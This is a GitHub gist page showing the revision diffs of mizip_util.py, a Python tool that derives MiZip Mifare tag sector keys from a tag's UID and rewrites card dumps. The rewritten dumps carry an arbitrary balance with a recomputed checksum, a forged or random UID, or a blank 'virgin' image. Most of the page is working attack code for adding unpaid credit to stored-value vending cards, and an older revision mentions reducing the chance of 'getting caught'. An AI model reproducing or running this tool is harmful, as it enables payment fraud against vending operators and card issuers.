Skip to content

Instantly share code, notes, and snippets.

@appgoblin
Forked from nocturn9x/mizip_util.py
Created June 5, 2025 20:56
Show Gist options
  • Select an option

  • Save appgoblin/e1e4207741d64dba73f68b9bf1d622ba to your computer and use it in GitHub Desktop.

Select an option

Save appgoblin/e1e4207741d64dba73f68b9bf1d622ba to your computer and use it in GitHub Desktop.

Revisions

  1. @nocturn9x nocturn9x revised this gist Feb 16, 2024. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -365,7 +365,7 @@ def main(arguments: Namespace):
    action="store_true")
    parser.add_argument("--set-uid", help="Use the provided UID (in hex) in the new dump file. This will also generate the correct BCC checksum, but note that it will only affect the tag if block 0 in sector 0 is writable", default="")
    parser.add_argument("--gen-uid", help="Similar to --set-uid, but it generates a random UID instead. Cannot be used together with --set-uid", action="store_true")
    parser.add_argument("--skip-bcc", help="Skip checking the BCC derived from the tag's UID (not recommended)")
    parser.add_argument("--skip-bcc", help="Skip checking the BCC derived from the tag's UID (not recommended)", action="store_true")
    parser.add_argument("--blank", help="Instructs mizip_util to use a blank MiZip dump as a starting point for the modified one. Overrides whatever is passed to --dump",
    action="store_true")
    parser.add_argument("--balance-block", help="Uses this block from sector 2 of the tag to encode the balance (can either be 0 or 1). Only used if the balance block cannot be determinated automatically",
  2. @nocturn9x nocturn9x revised this gist Dec 20, 2021. 1 changed file with 6 additions and 1 deletion.
    7 changes: 6 additions & 1 deletion mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -280,6 +280,12 @@ def main(arguments: Namespace):
    print("The provided UID is invalid! Make sure it doesn't contain spurious characters such as ':' or '-'")
    exit(1)
    uid = arguments.uid or uid
    if arguments.set_uid:
    new_uid = uid = arguments.set_uid.upper()
    elif arguments.gen_uid:
    new_uid = uid = randint(0, 4294967295).to_bytes(4, "big").hex().upper()
    else:
    new_uid = uid.upper()
    if arguments.dump_keys:
    print(f"Writing A/B keys for MiZip Mifare tag with UID {uid} to {arguments.dump_keys!r}")
    with open(arguments.dump_keys, "w") as keys:
    @@ -317,7 +323,6 @@ def main(arguments: Namespace):
    print(f"Calculated BCC is {new_uid[8:]}")
    dump[0][0] = f"{new_uid}{oem_info}".upper()
    elif arguments.gen_uid:
    new_uid = randint(0, 4294967295).to_bytes(4, "big").hex()
    print(f"Updating UID from {uid} to a randomly-generated one ({new_uid.upper()})")
    oem_info = dump[0][0][10:]
    new_uid = calc_uid(new_uid)
  3. @nocturn9x nocturn9x revised this gist Dec 20, 2021. 1 changed file with 18 additions and 5 deletions.
    23 changes: 18 additions & 5 deletions mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -251,7 +251,7 @@ def main(arguments: Namespace):
    Main program entry point
    """

    print(f"MiZip Utility version {'.'.join(map(str, __version__))}, made by @nocturn9x with love and Python 3.8")
    print(f"MiZip Utility version {'.'.join(map(str, __version__))}, made by @nocturn9x with love and Python 3.8\n")
    if arguments.dump_only and arguments.keys_only:
    print("--dump-only and --keys-only cannot be used together")
    exit(1)
    @@ -302,24 +302,35 @@ def main(arguments: Namespace):
    elif dump[2][2][:2] == "AA":
    print("Detected balance block is 0")
    balance_block = (2, 0)
    else:
    print("Could not determine the block containing the balance!")
    elif arguments.balance_block == -1:
    print("Could not determine the block containing the balance! Pass it explicitly with --balance-block n")
    quit(1)
    else:
    print(f"Could not detect balance block, defaulting to {arguments.balance_block}")
    balance_block = (2, arguments.balance_block)
    # We replace the block containing the original balance with a new one with a different balance
    dump[balance_block[0]][balance_block[1]] = calc_balance_block(dump[balance_block[0]][balance_block[1]], arguments.balance)
    if arguments.set_uid:
    print(f"Updating UID from {uid} to {arguments.set_uid}")
    oem_info = dump[0][0][10:]
    new_uid = calc_uid(arguments.set_uid)
    new_uid = calc_uid(new_uid)
    print(f"Calculated BCC is {new_uid[8:]}")
    dump[0][0] = f"{new_uid}{oem_info}"
    dump[0][0] = f"{new_uid}{oem_info}".upper()
    elif arguments.gen_uid:
    new_uid = randint(0, 4294967295).to_bytes(4, "big").hex()
    print(f"Updating UID from {uid} to a randomly-generated one ({new_uid.upper()})")
    oem_info = dump[0][0][10:]
    new_uid = calc_uid(new_uid)
    print(f"Calculated BCC is {new_uid[8:]}")
    dump[0][0] = f"{new_uid}{oem_info}"
    uid = new_uid
    print("Updating keys")
    # We set the new keys for the updated dump file
    dump[0][3] = f"{SECTOR_0_KEYS[0]}{dump[0][3][12:20]}{SECTOR_0_KEYS[1]}".upper()
    for i, (xorA, xorB) in enumerate(XORTABLE):
    keyA = calc_sector_key(bytes.fromhex(uid), xorA.to_bytes(6, 'big'), 'A')
    keyB = calc_sector_key(bytes.fromhex(uid), xorB.to_bytes(6, 'big'), 'B')
    dump[i + 1][3] = f"{keyA}{dump[i + 1][3][12:20]}{keyB}".upper()
    if arguments.dump_output:
    print(f"Writing new dump to {arguments.dump_output!r}")
    with open(arguments.dump_output, "w") as output:
    @@ -352,4 +363,6 @@ def main(arguments: Namespace):
    parser.add_argument("--skip-bcc", help="Skip checking the BCC derived from the tag's UID (not recommended)")
    parser.add_argument("--blank", help="Instructs mizip_util to use a blank MiZip dump as a starting point for the modified one. Overrides whatever is passed to --dump",
    action="store_true")
    parser.add_argument("--balance-block", help="Uses this block from sector 2 of the tag to encode the balance (can either be 0 or 1). Only used if the balance block cannot be determinated automatically",
    type=int, choices=(0, 1), default=-1)
    main(parser.parse_args())
  4. @nocturn9x nocturn9x revised this gist Dec 19, 2021. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -310,7 +310,7 @@ def main(arguments: Namespace):
    if arguments.set_uid:
    print(f"Updating UID from {uid} to {arguments.set_uid}")
    oem_info = dump[0][0][10:]
    new_uid = calc_uid(new_uid)
    new_uid = calc_uid(arguments.set_uid)
    print(f"Calculated BCC is {new_uid[8:]}")
    dump[0][0] = f"{new_uid}{oem_info}"
    elif arguments.gen_uid:
  5. @nocturn9x nocturn9x revised this gist Dec 19, 2021. 1 changed file with 13 additions and 0 deletions.
    13 changes: 13 additions & 0 deletions mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,17 @@
    #!/usr/bin/env python
    # Copyright 2021 Mattia Giambirtone & All Contributors
    #
    # Licensed under the Apache License, Version 2.0 (the "License");
    # you may not use this file except in compliance with the License.
    # You may obtain a copy of the License at
    #
    # http://www.apache.org/licenses/LICENSE-2.0
    #
    # Unless required by applicable law or agreed to in writing, software
    # distributed under the License is distributed on an "AS IS" BASIS,
    # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    # See the License for the specific language governing permissions and
    # limitations under the License.
    """
    A simple, decently written and modern Python 3.8+ tool to
    ease the altering of balance with MiZip Mifare tags. It can
  6. @nocturn9x nocturn9x revised this gist Dec 19, 2021. 1 changed file with 23 additions and 7 deletions.
    30 changes: 23 additions & 7 deletions mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -10,6 +10,7 @@
    """
    from re import match
    from time import strftime
    from random import randint
    from sys import exit, stdout
    from typing import List, TextIO
    from os.path import exists, isfile
    @@ -188,8 +189,8 @@ def parse_dump(file: str, check_blocks: bool = True, check_bcc: bool = True) ->
    result[sector].append(m.group(1))
    else:
    raise ValueError(f"error while parsing {file!r} at line {line}: invalid data in dump file")
    if check_bcc:
    assert result[0][0][:10] == calc_uid(result[0][0][:8]), f"BCC mismatch: expected {calc_uid(result[0][0][:8])}, found {result[0][0][:10]} instead"
    if check_bcc and result[0][0][:10] != calc_uid(result[0][0][:8]):
    raise ValueError(f"BCC mismatch: expected {calc_uid(result[0][0][:8])}, found {result[0][0][:10]} instead")
    if check_blocks:
    # This is where we check the sector checksums
    for i, sector in enumerate(result[1:]): # Sector 1 is different so we skip it
    @@ -247,6 +248,9 @@ def main(arguments: Namespace):
    if not arguments.uid and not arguments.dump and not arguments.blank:
    print("You must provide either an explicit tag UID, a dump file with --dump, or use --blank!")
    exit(1)
    if arguments.set_uid and arguments.gen_uid:
    print("--set-uid and --gen-uid cannot be used together")
    exit(1)
    try:
    if arguments.blank and not arguments.uid:
    uid = "D209AB0F"
    @@ -282,16 +286,27 @@ def main(arguments: Namespace):
    if dump[2][2][:2] == "55":
    print(f"Detected balance block is 1")
    balance_block = (2, 1)
    else:
    # parse_dump already checks the rest so we only need an else
    elif dump[2][2][:2] == "AA":
    print("Detected balance block is 0")
    balance_block = (2, 0)
    else:
    print("Could not determine the block containing the balance!")
    quit(1)
    # We replace the block containing the original balance with a new one with a different balance
    dump[balance_block[0]][balance_block[1]] = calc_balance_block(dump[balance_block[0]][balance_block[1]], arguments.balance)
    if arguments.set_uid:
    print(f"Updating UID from {uid} to {arguments.set_uid}")
    oem_info = dump[0][0][7:]
    dump[0][0] = f"{calc_uid(arguments.set_uid)}{oem_info}"
    oem_info = dump[0][0][10:]
    new_uid = calc_uid(new_uid)
    print(f"Calculated BCC is {new_uid[8:]}")
    dump[0][0] = f"{new_uid}{oem_info}"
    elif arguments.gen_uid:
    new_uid = randint(0, 4294967295).to_bytes(4, "big").hex()
    print(f"Updating UID from {uid} to a randomly-generated one ({new_uid.upper()})")
    oem_info = dump[0][0][10:]
    new_uid = calc_uid(new_uid)
    print(f"Calculated BCC is {new_uid[8:]}")
    dump[0][0] = f"{new_uid}{oem_info}"
    if arguments.dump_output:
    print(f"Writing new dump to {arguments.dump_output!r}")
    with open(arguments.dump_output, "w") as output:
    @@ -319,7 +334,8 @@ def main(arguments: Namespace):
    parser.add_argument("--dump-output", "-o", help="Writes the newly generated dump to the given file. Note: The file is created if it does not exist and overwritten if it does!")
    parser.add_argument("--skip-checksum", help="Skip checking the block-wise checksum in each sector starting from 1. Recommended if you're using an old dump from a non-mizip tag",
    action="store_true")
    parser.add_argument("--set-uid", help="Generate a new UID and its corresponding BCC and dump it in the new .mct file. This will only affect the tag if block 0 in sector 0 is writable", default="")
    parser.add_argument("--set-uid", help="Use the provided UID (in hex) in the new dump file. This will also generate the correct BCC checksum, but note that it will only affect the tag if block 0 in sector 0 is writable", default="")
    parser.add_argument("--gen-uid", help="Similar to --set-uid, but it generates a random UID instead. Cannot be used together with --set-uid", action="store_true")
    parser.add_argument("--skip-bcc", help="Skip checking the BCC derived from the tag's UID (not recommended)")
    parser.add_argument("--blank", help="Instructs mizip_util to use a blank MiZip dump as a starting point for the modified one. Overrides whatever is passed to --dump",
    action="store_true")
  7. @nocturn9x nocturn9x revised this gist Dec 19, 2021. 1 changed file with 51 additions and 8 deletions.
    59 changes: 51 additions & 8 deletions mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -37,6 +37,41 @@
    }
    # Sector 0 uses constant hardcoded keys, and so do we
    SECTOR_0_KEYS = ("a0a1a2a3a4a5", "b4c132439eef")
    # If you wanna restore any Mifare tag to a blank state
    # (as if it was a freshly created MiZip), this is the
    # dump you want
    BLANK_DUMP = [
    [
    "D209AB0F7F890400C802002000000018",
    "6200488849884A884B88000000000000",
    "00000000000000000000000000000000",
    "A0A1A2A3A4A5787788C1B4C132439EEF",
    ],
    [
    "01000001000080010001000000008000",
    "01000001000080010001000000008001",
    "55010000000000000000000000000000",
    "DB1BF12A5BEC7877882F5A23565A732E"
    ],
    [
    "00000000000000000000000000000000",
    "00000000000000000000000000000001",
    "55010000000000000000000000000000",
    "797C6238402678778812D8E84BF7994E"
    ],
    [
    "00000000000000000000000000000000",
    "00000000000000000000000000000001",
    "55010000000000000000000000000000",
    "------------787788000142C17FFDA1"
    ],
    [
    "00000000000000000000000000000000",
    "00000000000000000000000000000001",
    "55010000000000000000000000000000",
    "E3731C209699787788001B1CF52E86F2"
    ]
    ]


    def calc_sector_key(uid: bytes, xor: bytes, kind: str) -> str:
    @@ -209,11 +244,13 @@ def main(arguments: Namespace):
    if arguments.dump_only and arguments.dump_keys:
    print("--dump-keys and --dump-only cannot be used together")
    exit(1)
    if not arguments.uid and not arguments.dump:
    print("You must provide an explicit tag UID or a --dump file!")
    if not arguments.uid and not arguments.dump and not arguments.blank:
    print("You must provide either an explicit tag UID, a dump file with --dump, or use --blank!")
    exit(1)
    try:
    if not arguments.uid and arguments.dump:
    if arguments.blank and not arguments.uid:
    uid = "D209AB0F"
    elif arguments.dump and not arguments.uid:
    uid = parse_dump(arguments.dump, check_blocks=not arguments.skip_checksum, check_bcc=not arguments.skip_bcc)[0][0][:8]
    print(f"Obtained UID {uid} from {arguments.dump!r}")
    elif len(arguments.uid) != 8:
    @@ -227,17 +264,21 @@ def main(arguments: Namespace):
    exit(1)
    uid = arguments.uid or uid
    if arguments.dump_keys:
    print(f"Writing A/B keys for MiZip Mifare tag with UID {arguments.uid} to {arguments.dump_keys!r}")
    print(f"Writing A/B keys for MiZip Mifare tag with UID {uid} to {arguments.dump_keys!r}")
    with open(arguments.dump_keys, "w") as keys:
    write_keys(uid, keys)
    elif not arguments.dump_only:
    write_keys(uid, stdout)
    if not arguments.keys_only or arguments.dump_only:
    if not arguments.dump:
    if not arguments.keys_only or arguments.dump_only and not arguments.blank:
    if not arguments.dump and not arguments.blank:
    print("You must provide the original dump of your MiZip tag to alter the balance!")
    quit(1)
    print(f"Generating new dump with updated balance of {arguments.balance:.2f} euros ({int(arguments.balance) * 100} cents)")
    dump = parse_dump(arguments.dump, check_blocks=not arguments.skip_checksum, check_bcc=not arguments.skip_bcc)
    if not arguments.blank:
    dump = parse_dump(arguments.dump, check_blocks=not arguments.skip_checksum, check_bcc=not arguments.skip_bcc)
    else:
    print("Using blank (aka 'virgin') dump")
    dump = BLANK_DUMP
    if dump[2][2][:2] == "55":
    print(f"Detected balance block is 1")
    balance_block = (2, 1)
    @@ -280,4 +321,6 @@ def main(arguments: Namespace):
    action="store_true")
    parser.add_argument("--set-uid", help="Generate a new UID and its corresponding BCC and dump it in the new .mct file. This will only affect the tag if block 0 in sector 0 is writable", default="")
    parser.add_argument("--skip-bcc", help="Skip checking the BCC derived from the tag's UID (not recommended)")
    main(parser.parse_args())
    parser.add_argument("--blank", help="Instructs mizip_util to use a blank MiZip dump as a starting point for the modified one. Overrides whatever is passed to --dump",
    action="store_true")
    main(parser.parse_args())
  8. @nocturn9x nocturn9x revised this gist Dec 19, 2021. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -28,7 +28,7 @@
    (0xE27241AF2C09, 0xAA4D137656AE),
    (0x317AB72F4490, 0xB01327272DFD),
    )
    # These tell calc_key which byte of the UID are
    # These tell calc_sector_key which byte of the UID are
    # XORed with which byte of the XOR offset in the
    # table above to generate either an A or a B key
    KEY_IDX = {
  9. @nocturn9x nocturn9x revised this gist Dec 17, 2021. 1 changed file with 0 additions and 1 deletion.
    1 change: 0 additions & 1 deletion mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -258,7 +258,6 @@ def main(arguments: Namespace):
    else:
    write_dump(dump, stdout)
    except Exception as error:
    raise
    print(f"An error occurred while working -> {type(error).__name__}: {error}")
    else:
    print(f"Done!")
  10. @nocturn9x nocturn9x revised this gist Dec 17, 2021. No changes.
  11. @nocturn9x nocturn9x revised this gist Dec 17, 2021. No changes.
  12. @nocturn9x nocturn9x revised this gist Dec 17, 2021. No changes.
  13. @nocturn9x nocturn9x revised this gist Dec 17, 2021. No changes.
  14. @nocturn9x nocturn9x revised this gist Dec 17, 2021. No changes.
  15. @nocturn9x nocturn9x revised this gist Dec 17, 2021. 1 changed file with 164 additions and 89 deletions.
    253 changes: 164 additions & 89 deletions mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -2,18 +2,21 @@
    """
    A simple, decently written and modern Python 3.8+ tool to
    ease the altering of balance with MiZip Mifare tags. It can
    generate keys for decryption of sectors using the Mifare Classic
    Tool application available on Android and on desktop, as well as automate
    the generation of block 0/1 of sector 2 to alter a tag's balance. It
    is recommended to avoid overwriting all but sector 2 to minimize
    the probability of getting caught
    generate keys for decryption of sectors as well as automate
    the generation of block 0/1 of sector 2 to alter a tag's balance. If you
    know what you're doing, you can even use this tool to transform any Mifare
    1K/4K tag (and probably others using the same scheme) into a "MiZip-compatible"
    tag recognizable by vending machines
    """
    from re import match
    from sys import exit
    from typing import List
    from time import strftime
    from sys import exit, stdout
    from typing import List, TextIO
    from os.path import exists, isfile
    from argparse import ArgumentParser
    from argparse import ArgumentParser, Namespace


    __version__ = (0, 0, 1)

    # These handy constants, as well as the algorithm, come from https://gist.github.com/y0no/70565a8d09203122181f3b3a08bffcbd#file-mizip_calc-py,
    # which in turn got them from https://github.com/iceman1001/proxmark3/blob/master/client/scripts/calc_mizip.lua whose author states that they
    @@ -36,7 +39,7 @@
    SECTOR_0_KEYS = ("a0a1a2a3a4a5", "b4c132439eef")


    def calc_key(uid: bytes, xor: bytes, kind: str) -> str:
    def calc_sector_key(uid: bytes, xor: bytes, kind: str) -> str:
    """
    Calculates the encryption key (either A or B),
    for a given entry in the XOR table. Raises a
    @@ -49,7 +52,7 @@ def calc_key(uid: bytes, xor: bytes, kind: str) -> str:
    return "".join([f'{uid[j] ^ xor[i]:02x}' for i, j in enumerate(idx)])


    def calc_block(original: str, balance: float) -> str:
    def calc_balance_block(original: str, balance: float) -> str:
    """
    Calculates a replacement block for block 0 or 1 in sector
    2 by using the original block and generates a replacement
    @@ -61,32 +64,54 @@ def calc_block(original: str, balance: float) -> str:
    Note: This function expects that the needed validation to tell
    which block (either 0 or 1) of sector 2 of the tag contains the
    balance has been performed
    balance has been performed and therefore considers the first
    parameter to be the block containing the balance
    """

    # TL;DR: In a MiZip Mifare tag, the balance is encoded in sector 2.
    # Specifically it's located either in block 1 or 0, depending on the value
    # of the first 2 bytes of block 2 (55 = block 1, AA = block 0). This can be
    # checked by looking at the third and fourth byte of block 2, which should mirror
    # the last 2 bytes of the block containing the balance (this pattern appears to be
    # a generic checksum applied to all sectors, except for sector 0).
    # The first 2 bytes of the block (0 or 1) are untouched, the next four
    # encode the balance (in cents, so 1 euro = 100 cents) in hexadecimal
    # with each pair of bytes swapped (so ABCD becomes CDAB) and the next 2 bytes
    # are a checksum computed by XORing the first half of the preceding 4 bytes
    # with the second half. The rest of the block is unused for balance purposes
    # of the first byte of block 2 (55 = block 1, AA = block 0). This can be
    # checked by looking at the second byte of block 2, which should mirror
    # the last byte of the block containing the balance (this pattern appears to be
    # a generic checksum applied to all sectors, except for the first block).
    # Once we nail down which block contains what we want, we take the first four bytes
    # which encode the balance (in cents, so 1 euro = 100 cents) in hexadecimal
    # using the little endian byte order and the next byte is a checksum computed by XORing
    # the first half of the preceding 4 bytes with the second half. The rest of the block is unused for balance purposes
    # and contains an operation counter and other things we don't care about
    assert len(original) == 32, "The block size must be 32 bytes"
    hex_balance = hex(int(balance) * 100).strip("0x").zfill(4)
    assert len(hex_balance) == 4, f"Expecting the length of hex_balance to be 4, found {len(hex_balance)} instead (0x{hex_balance})"
    hex_balance = f"{hex_balance[2:]}{hex_balance[0:2]}"
    check = hex(int(hex_balance[0:2], base=16) ^ int(hex_balance[2:], base=16)).strip("0x").zfill(2)
    new_block = f"{original[0:2]}{hex_balance}{check}{original[8:]}".upper()
    assert len(original) == 32, "The block size must be 32 characters"
    try:
    balance = int(balance * 100).to_bytes(2, "little")
    except OverflowError:
    raise ValueError("Could not encode balance (value is too high, don't be greedy!)")
    assert len(balance) == 2, f"Expecting the length of encoded balance to be 2, found {len(balance)} instead ({balance.hex()})"
    check = hex(balance[0] ^ balance[1]).strip("0x").zfill(2) # No need for explicit conversion to bytes (each byte in a bytes object is automatically an integer)
    new_block = f"{balance.hex().zfill(6)}{check}{original[8:]}".upper()
    assert len(new_block) == 32, f"The new block size is != 32 ({len(new_block)}): Balance too high?"
    return new_block


    def parse_dump(file: str) -> List[List[str]]:
    def calc_uid(new_uid: str) -> str:
    """
    Calculates a new UID-BCC pair from
    a given UID (without a BCC, assuming
    this is a made-up user-provided value)
    """

    assert len(new_uid) == 8, "The new UID must be 8 characters long and in hexadecimal format!"
    # The uid is in big endian format!
    try:
    new_uid = int(new_uid, base=16).to_bytes(4, "big")
    except OverflowError:
    raise ValueError(f"Could not encode {new_uid} into 4 bytes, maybe dump file is corrupted?")
    # The Block Check is composed of subsequent XORs of the UID's bytes
    bcc = new_uid[0] ^ new_uid[1]
    for i in range(2, 4):
    bcc ^= new_uid[i]
    return (new_uid + bcc.to_bytes(1, "little")).hex().upper()


    def parse_dump(file: str, check_blocks: bool = True, check_bcc: bool = True) -> List[List[str]]:
    """
    Parses a given .mct file as produced by Mifare Classic
    Tool. Note that this function makes no assumption about
    @@ -96,13 +121,15 @@ def parse_dump(file: str) -> List[List[str]]:
    element in a sublist is a block (in hexadecimal). Raises a
    ValueError exception if the given file does not exist or upon
    a parsing error. The file path is used as-is and is passed directly
    to Python's builtin open() function
    to Python's builtin open() function. If check_blocks equals True,
    which is the default, this function checks the block checksums for
    each sector starting from 1
    """

    if not exists(file):
    raise ValueError("error while reading {file!r}: path does not exist")
    raise ValueError(f"error while reading {file!r}: path does not exist")
    elif not isfile(file):
    raise ValueError("error while reading {file!r}: path does not point to a file")
    raise ValueError(f"error while reading {file!r}: path does not point to a file")
    result = []
    sector = 0
    line = 0
    @@ -119,91 +146,139 @@ def parse_dump(file: str) -> List[List[str]]:
    # New sector!
    result.append([])
    else:
    raise ValueError(f"error while parsing {file!r} at line {line}: expecting sector {len(result)}, got {sector} instead")
    elif m := match(r"^([a-zA-z0-9]+)(\s)*(#.+$)*", section): # This match makes us ignore comments!
    raise ValueError(f"error while parsing {file!r} at line {line}: expecting sector {len(result)}, got {sector} instead (skipped a sector?)")
    elif m := match(r"^([a-zA-z0-9\-]+)$", section):
    if len(m.group(1)) != 32:
    raise ValueError(f"error while parsing {file!r} at line {line}: invalid block length (expecting 32, found {len(m.group(1))} instead)")
    result[sector].append(m.group(1))
    else:
    raise ValueError(f"error while parsing {file!r} at line {line}: invalid data in dump file")
    # This is where we check the sector checksums
    for i, sector in enumerate(result[1:]): # Sector 1 is different so we skip it
    if len(sector) < 2:
    raise ValueError(f"Error when validating {file!r} at sector {i + 1}: too few blocks (expecting >= 2, found {len(sector)} instead)")
    if (sector[2][:2] == "55" and sector[1][-2:] == sector[2][2:4]) or (sector[2][:2] == "AA" and sector[0][-2:] == sector[2][2:4]):
    # Checksum is valid!
    continue
    else:
    raise ValueError(f"Error when validating {file!r} at sector {i + 1}: sector check mismatch or invalid block 2")
    if check_bcc:
    assert result[0][0][:10] == calc_uid(result[0][0][:8]), f"BCC mismatch: expected {calc_uid(result[0][0][:8])}, found {result[0][0][:10]} instead"
    if check_blocks:
    # This is where we check the sector checksums
    for i, sector in enumerate(result[1:]): # Sector 1 is different so we skip it
    if len(sector) < 2:
    raise ValueError(f"Error when validating {file!r} at sector {i + 1}: too few blocks (expecting >= 2, found {len(sector)} instead)")
    if (sector[2][:2] == "55" and sector[1][-2:] == sector[2][2:4]) or (sector[2][:2] == "AA" and sector[0][-2:] == sector[2][2:4]):
    # Checksum is valid!
    continue
    else:
    raise ValueError(f"Error when validating {file!r} at sector {i + 1}: sector check mismatch or invalid block 2")
    return result


    if __name__ == '__main__':
    parser = ArgumentParser(prog="mizip_util", description="A simple tool to ease the altering of balance with MiZip Mifare tags. It can generate keys"
    " for decryption of sectors using Mifare Classic Tool as well modified dumps to alter a tag's balance")
    parser.add_argument("--uid", "-u", help="The UID of the tag (use any NFC reader app to find that out), for example 1123FD4E",
    required=True)
    parser.add_argument("--keys-only", help="Only generate the decryption keys for the tag (use in the Mifare Classic Tool app). Useful if you do not have a dump file yet",
    action="store_true", default=False)
    parser.add_argument("--dump-keys", "-k", help="Writes the keys to the given file. Note: The file is created if it does not exist and overwritten if it does!")
    parser.add_argument("--balance", "-b", help="Generates a new dump with the balance set to the this value (floating point, in euros), defaults to 0.0",
    default=0.0, type=float)
    parser.add_argument("--dump", "-d", help="The path to an .mct dump of the sectors of the MiZip tag (create it via the Mifare Classic Tool app)")
    parser.add_argument("--dump-output", "-o", help="Writes the newly generated dump to the given file. Note: The file is created if it does not exist and overwritten if it does!")
    arguments = parser.parse_args()
    def write_dump(dump: List[List[str]], file: TextIO):
    """
    Writes the given dump to the given file
    """

    for i, sector in enumerate(dump):
    print(f"+Sector: {i}", file=file)
    for block in sector:
    print(block, file=file)


    def write_keys(uid: str, file: TextIO):
    """
    Writes the keys for a given UID to the given file
    """

    print(f"# Generated with mizip_util by @nocturn9x for tag with UID {uid} on {strftime('%d/%m/%Y %H:%M:%S %p')}", file=file)
    print(f"# A\n{SECTOR_0_KEYS[0]}", file=file)
    try:
    if len(arguments.uid) != 8:
    print("You have provided an invalid UID! It must be of the form XXXXXXXX")
    exit(1)
    try:
    uid = bytes.fromhex(arguments.uid)
    except ValueError:
    print("The provided UID is invalid! Make sure it doesn't contain spurious characters such as ':' or '-'")
    uid = int(uid, base=16).to_bytes(4, "big")
    except OverflowError:
    raise ValueError(f"Could not encode {uid} into 4 bytes, maybe dump file is corrupted?")
    for xorKey, _ in XORTABLE: # We first print all the A keys, then all the B keys, as this is the format MCT expects
    print(f"{calc_sector_key(uid, xorKey.to_bytes(6, 'big'), 'A')}", file=file)
    print(f"# B\n{SECTOR_0_KEYS[1]}", file=file)
    for _, xorKey in XORTABLE:
    print(f"{calc_sector_key(uid, xorKey.to_bytes(6, 'big'), 'B')}", file=file)


    def main(arguments: Namespace):
    """
    Main program entry point
    """

    print(f"MiZip Utility version {'.'.join(map(str, __version__))}, made by @nocturn9x with love and Python 3.8")
    if arguments.dump_only and arguments.keys_only:
    print("--dump-only and --keys-only cannot be used together")
    exit(1)
    if arguments.dump_only and arguments.dump_keys:
    print("--dump-keys and --dump-only cannot be used together")
    exit(1)
    if not arguments.uid and not arguments.dump:
    print("You must provide an explicit tag UID or a --dump file!")
    exit(1)
    try:
    if not arguments.uid and arguments.dump:
    uid = parse_dump(arguments.dump, check_blocks=not arguments.skip_checksum, check_bcc=not arguments.skip_bcc)[0][0][:8]
    print(f"Obtained UID {uid} from {arguments.dump!r}")
    elif len(arguments.uid) != 8:
    print("The provided UID is invalid! It must be of the form XXXXXXXX")
    exit(1)
    else:
    try:
    uid = bytes.fromhex(arguments.uid)
    except ValueError:
    print("The provided UID is invalid! Make sure it doesn't contain spurious characters such as ':' or '-'")
    exit(1)
    uid = arguments.uid or uid
    if arguments.dump_keys:
    print(f"Writing A/B keys for MiZip Mifare tag with UID {arguments.uid} to {arguments.dump_keys!r}")
    with open(arguments.dump_keys, "w") as keys:
    print(f"# Generated with mizip_util by @nocturn9x for tag with UID {arguments.uid} on {strftime('%d/%m/%Y %H:%M:%S %p')}", file=keys)
    print(f"# A\n{SECTOR_0_KEYS[0]}", file=keys)
    for xorKey, _ in XORTABLE: # We first print all the A keys, then all the B keys, as this is the format MCT expects
    print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'A')}", file=keys)
    print(f"# B\n{SECTOR_0_KEYS[1]}", file=keys)
    for _, xorKey in XORTABLE:
    print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'B')}", file=keys)
    else:
    print(f"Generating A/B keys for MiZip Mifare tag with UID {arguments.uid}")
    print(f"# A\n{SECTOR_0_KEYS[0]}")
    for xorKey, _ in XORTABLE: # We first print all the A keys, then all the B keys, as this is the format MCT expects
    print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'A')}")
    print(f"# B\n{SECTOR_0_KEYS[1]}")
    for _, xorKey in XORTABLE:
    print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'B')}")
    if not arguments.keys_only:
    write_keys(uid, keys)
    elif not arguments.dump_only:
    write_keys(uid, stdout)
    if not arguments.keys_only or arguments.dump_only:
    if not arguments.dump:
    print("You must provide the original dump of your MiZip tag to alter the balance!")
    quit(1)
    print(f"Generating new dump with updated balance of {arguments.balance:.2f} euros ({int(arguments.balance) * 100} cents)")
    dump = parse_dump(arguments.dump)
    dump = parse_dump(arguments.dump, check_blocks=not arguments.skip_checksum, check_bcc=not arguments.skip_bcc)
    if dump[2][2][:2] == "55":
    print(f"Balance block is 1")
    print(f"Detected balance block is 1")
    balance_block = (2, 1)
    else:
    # parse_dump already checks the rest so we only need an else
    print("Balance block is 0")
    print("Detected balance block is 0")
    balance_block = (2, 0)
    # We replace the block containing the original balance with a new one with a different balance
    dump[balance_block[0]][balance_block[1]] = calc_block(dump[balance_block[0]][balance_block[1]], arguments.balance)
    dump[balance_block[0]][balance_block[1]] = calc_balance_block(dump[balance_block[0]][balance_block[1]], arguments.balance)
    if arguments.set_uid:
    print(f"Updating UID from {uid} to {arguments.set_uid}")
    oem_info = dump[0][0][7:]
    dump[0][0] = f"{calc_uid(arguments.set_uid)}{oem_info}"
    if arguments.dump_output:
    print(f"Writing new dump to {arguments.dump_output!r}")
    with open(arguments.dump_output, "w") as output:
    for i, sector in enumerate(dump):
    print(f"+Sector: {i}", file=output)
    for block in sector:
    print(block, file=output)
    write_dump(dump, output)
    else:
    for i, sector in enumerate(dump):
    print(f"+Sector: {i}")
    for block in sector:
    print(block)
    write_dump(dump, stdout)
    except Exception as error:
    raise
    print(f"An error occurred while working -> {type(error).__name__}: {error}")
    else:
    print(f"Done!")


    if __name__ == '__main__':
    parser = ArgumentParser(prog="mizip_util", description="A simple tool to ease the altering of balance with MiZip Mifare tags. It can generate keys"
    " for decryption of sectors using Mifare Classic Tool as well modified dumps to alter a tag's balance")
    parser.add_argument("--uid", "-u", help="The UID of the tag (use any NFC reader app to find that out), for example 1123FD4E. This overrides the one read from the dump file",
    required=False)
